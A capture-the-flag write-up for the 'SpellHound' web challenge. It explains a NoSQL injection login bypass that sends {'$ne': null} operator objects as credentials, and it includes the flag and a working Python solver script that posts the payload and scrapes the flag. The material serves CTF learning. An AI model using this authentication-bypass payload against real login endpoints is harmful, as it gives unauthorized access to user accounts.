When the /login endpoint receives JSON, it does not enforce plain string values for username and password. That allows a NoSQL-style operator payload instead of normal credentials.

The working payload is:

1
{
2
  "username": {"$ne": null},
3
  "password": {"$ne": null}
4
}

This authenticates successfully and the returned homepage includes the flag in the welcome banner.

Exploitation Steps#

Open the challenge URL.
Do not use the form login.
Send a JSON request to /login with the operator payload.
Follow the redirect to /.
Read the flag from the page footer welcome text.

Why It Works#

The backend appears to trust JSON objects during authentication rather than requiring scalar strings. Using {"$ne": null} makes the login condition match an existing user record without knowing a real password.

Flag#

1
VBD{nosqli_w1th_r3g3x_1s_c00l_7261e788b4475495baa28f69ceef813f}

Solver Script#

File: solve_spellhound.py

1
import re
2
import sys
3

4
import requests
5

6

7
def main() -> int:
8
    base_url = sys.argv[1] if len(sys.argv) > 1 else "http://ctf.vulnbydefault.com:27299"
9
    session = requests.Session()
10

11
    payload = {
12
        "username": {"$ne": None},
13
        "password": {"$ne": None},
14
    }
15

16
    login_response = session.post(f"{base_url}/login", json=payload, allow_redirects=False, timeout=15)
17
    if login_response.status_code not in (302, 303) or login_response.headers.get("Location") != "/":
18
        print(f"Unexpected login response: {login_response.status_code}")
19
        print(login_response.text)
20
        return 1
21

22
    home_response = session.get(f"{base_url}/", timeout=15)
23
    match = re.search(r"VBD\{[^}]+\}", home_response.text)
24
    if not match:
25
        print("Flag not found in homepage response")
26
        print(home_response.text)
27
        return 2
28

29
    print(match.group(0))
30
    return 0
31

32

33
if __name__ == "__main__":
34
    raise SystemExit(main())

Run#

1
py -3.10 .\solve_spellhound.py http://ctf.vulnbydefault.com:27299

SpellHound

https://ctf-writeups-webb.vercel.app/posts/ramadan-ctf-2026-spellhound-writeup/

Author

Umair Aziz

Published at

2026-03-17

License

CC BY-NC-SA 4.0

SeeTwo

Validator